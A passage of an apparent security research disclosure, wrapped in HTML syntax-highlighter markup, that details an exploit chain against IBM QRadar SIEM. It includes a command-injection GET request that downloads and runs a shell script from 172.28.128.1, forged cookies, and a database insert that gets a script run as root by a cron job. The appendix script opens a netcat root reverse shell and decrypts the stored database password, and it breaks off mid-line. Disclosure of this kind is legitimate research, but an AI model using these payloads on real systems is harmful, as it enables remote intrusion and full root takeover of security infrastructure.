crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> 159                 $cmd = &#8220;\/usr\/bin\/zip -qj $zip_filename $fileList 2&gt;&amp;1&#8221;;  160                 \/\/error_log(&#8220;$cmd =&#8221;.$cmd);  161   162                 $result = exec($cmd, $cmd_output, $cmd_retval);<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c502761542422-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c502761542422-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c502761542422-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c502761542422-4\">4<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c502761542422-1\"><span class=\"crayon-cn\">159<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;\/usr\/bin\/zip -qj $zip_filename $fileList 2&gt;&amp;1&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c502761542422-2\"><span class=\"crayon-cn\">160<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/error_log(&#8220;$cmd =&#8221;.$cmd);<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c502761542422-3\"><span class=\"crayon-cn\">161<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c502761542422-4\"><span class=\"crayon-cn\">162<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">result<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">exec<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">cmd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">cmd_output<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">cmd_retval<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0006 seconds] -->  <\/p>\n<p>Bingo! It allows us to execute code as the httpd web server user, which is the unprivileged &#8220;nobody&#8221; user. For example, to download and execute a shell from 172.28.128.1, we can send the following GET request, provided we have used vulnerability #1 to create valid SEC and QRadarCSRF cookies:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c504598399337\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> GET \/ForensicsAnalysisServlet\/?forensicsManagedHostIps=127.0.0.1\/forensics\/file.php%3f%26&amp;action=get&amp;slavefile=true&amp;pcap[0][pcap]=\/rand\/file&amp;pcap[1][pcap]=$(mkdir -p \/store\/configservices\/staging\/updates &amp;&amp; wget -O \/store\/configservices\/staging\/updates\/runme http:\/\/172.28.128.1:4444\/runme.sh &amp;&amp; \/bin\/bash \/store\/configservices\/staging\/updates\/runme)&amp; HTTP\/1.1  Cookie: SEC=owned; QRadarCSRF=superowned;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c504598399337-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c504598399337-2\">2<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c504598399337-1\"><span class=\"crayon-v\">GET<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">ForensicsAnalysisServlet<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-v\">forensicsManagedHostIps<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">127.0.0.1<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">forensics<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">php<\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-cn\">3f<\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-cn\">26<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">action<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">get<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">slavefile<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pcap<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pcap<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">rand<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">pcap<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">pcap<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">mkdir<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">store<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">configservices<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">staging<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">updates<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">wget<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">O<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">store<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">configservices<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">staging<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">updates<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">runme <\/span><span class=\"crayon-v\">http<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-c\">\/\/172.28.128.1:4444\/runme.sh &amp;&amp; \/bin\/bash \/store\/configservices\/staging\/updates\/runme)&amp; HTTP\/1.1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c504598399337-2\"><span class=\"crayon-v\">Cookie<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SEC<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">owned<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">QRadarCSRF<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">superowned<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0015 seconds] -->  <\/p>\n<p>This will take a few seconds to process, but eventually our shell gets downloaded, and we get the following response:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c507012678297\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> HTTP\/1.1 200 OK  {&#8220;exceptionMessageValue&#8221;:&#8221;javax.servlet.ServletException: No valid forensics analysis forensicsManagedHostIps parameter found.&#8221;}<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c507012678297-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c507012678297-2\">2<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c507012678297-1\"><span class=\"crayon-v\">HTTP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1.1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">200<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">OK<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c507012678297-2\"><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8220;exceptionMessageValue&#8221;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-s\">&#8220;javax.servlet.ServletException: No valid forensics analysis forensicsManagedHostIps parameter found.&#8221;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0003 seconds] -->  <\/p>\n<p>The pcap[1][pcap] parameter is shown unencoded to facilitate reading, but the actual exploit should have this parameter fully URL encoded. As you can see, we can use the forensicsManagedHostIps not only to pick the host address but also to inject the URL path that will be used.<\/p>\n<p>Care needs to be taken when choosing a directory to download the file to. The &#8220;nobody&#8221; user cannot write to \/tmp, but a good choice is \/store\/configservices\/*, which is used for various tasks, and is writeable by &#8220;nobody&#8221;. The \/store\/configservices\/staging\/updates\/ was chosen (and created) because it plays a central role in our upcoming root privilege escalation exploit.<\/p>\n<p><em>Vulnerability: Privilege Escalation (&#8220;nobody&#8221; user to root)<\/em><br \/> Attack Vector: Local<br \/> Constraints: &#8220;nobody&#8221; user shell needed (can be obtained with vulnerability #2)<br \/> Affected products \/ versions:<br \/> &#8211; IBM QRadar SIEM: 7.3.0 and 7.3.1 confirmed; possibly all versions released since mid-2014 are affected<\/p>\n<p>The final step to totally owning QRadar is to escalate privileges from our limited &#8220;nobody&#8221; user to root.<br \/> For this we can leverage the following cron job, which runs as root every minute:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c50a892749192\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> # Check if autoupdate should be run  * * * * * \/opt\/qradar\/bin\/UpdateConfs.pl  &gt; \/dev\/null 2&gt;&amp;1<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c50a892749192-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c50a892749192-2\">2<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c50a892749192-1\"><span class=\"crayon-p\"># Check if autoupdate should be run<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c50a892749192-2\"><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">opt<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">qradar<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">UpdateConfs<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">pl<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">dev<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0005 seconds] -->  <\/p>\n<p>The code is convoluted, so it won&#8217;t be shown here for brevity. However, this Perl script invokes checkRpm(), which then calls checkRpmStatus(). The latter will fetch the autoupdate_patch database table and check if there are any entries left to process. If the file entry name ends with .rpm, it will invoke processRpm(), which installs it, otherwise it will invoke installMinor(), which will run &#8220;sh +x&#8221; on the file entry. These file entries are expected to be in the &#8220;update_download_dir&#8221; directory, which can be fetched with psql -U qradar -c &#8220;select value from autoupdate_conf where key = &#8216;update_download_dir&#8217;&#8221;, but it is \/store\/configservices\/staging\/updates\/ by default. As explained in vulnerability #2, \/store\/configservices\/* is writeable by &#8220;nobody&#8221;, so we can dump any files we want there, create directories, etc.<\/p>\n<p>Luckily, the &#8220;nobody&#8221; user can access the database &#8211; after all, the Java and PHP server processes need to access it, and they run as &#8220;nobody&#8221;. Because the \/tmp directory cannot be accessed by the &#8220;nobody&#8221; user, we cannot rely on password-less local socket connection to the database; so we have to use TCP\/IP, which means we need the database password. The password is in \/opt\/qradar\/conf\/config_user.xml (readable by &#8220;nobody&#8221;) and it is stored encrypted, but can be decrypted using the code of a built-in shell script.<\/p>\n<p>So once we have the database password, all we need to do is to add an entry to that table to a script we control (for example \/store\/configservices\/staging\/updates\/owned.sh), and within one minute it will be run as root:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c50e437378422\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> PGPASSWORD=$PASSWORD \/usr\/bin\/psql -h localhost -U qradar qradar -c &#8220;insert into autoupdate_patch values (&#8216;owned.sh&#8217;,558,&#8217;minor&#8217;,false,1337,0,&#8221;,1,false,&#8221;,&#8221;,&#8221;,false)&#8221;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c50e437378422-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c50e437378422-1\"><span class=\"crayon-v\">PGPASSWORD<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">PASSWORD<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">usr<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">psql<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">h<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">localhost<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">U<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">qradar <\/span><span class=\"crayon-v\">qradar<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;insert into autoupdate_patch values (&#8216;owned.sh&#8217;,558,&#8217;minor&#8217;,false,1337,0,&#8221;,1,false,&#8221;,&#8221;,&#8221;,false)&#8221;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0005 seconds] -->  <\/p>\n<p>The exploit script that does this privilege escalation and returns a root reverse shell to 172.28.128.1:4445 is shown as Appendix A. This file can be written using a combination of vulnerabilities #1 and #2 to complete the full exploit chain, allowing an unauthenticated user to achieve root code execution remotely.<\/p>\n<p><b>Appendix A<\/b><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5b0c805d4c510344759055\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> #!\/bin\/bash    # our reverse shell that will be executed as root  cat &lt;&lt;EOF &gt; \/store\/configservices\/staging\/updates\/superowned  #!\/bin\/sh  nc -e \/bin\/sh 172.28.128.1 4445  EOF    ### below is adapted from \/opt\/qradar\/support\/changePasswd.sh  [ -z $NVA_CONF ] &amp;&amp; NVA_CONF=&#8221;\/opt\/qradar\/conf\/nva.conf&#8221;  NVACONF=`grep &#8220;^NVACONF=&#8221; $NVA_CONF 2&gt; \/dev\/null | cut -d= -f2`  FRAMEWORKS_PROPERTIES_FILE=&#8221;frameworks.properties&#8221;  FORENSICS_USER_FILE=&#8221;config_user.xml&#8221;  FORENSICS_USER_FILE_CONFIG=&#8221;$NVACONF\/$FORENSICS_USER_FILE&#8221;    # get the encrypted db password from the config  PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P &#8216;(?&lt;=&gt;)([w=]*)(?=&lt;)&#8217;`    QVERSION=$(\/opt\/qradar\/bin\/myver | awk -F. &#8216;{print $1$2$3}&#8217;)    AU_CRYPT=\/opt\/qradar\/lib\/Q1\/auCrypto.pm  P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)  P_DEC=$(grep 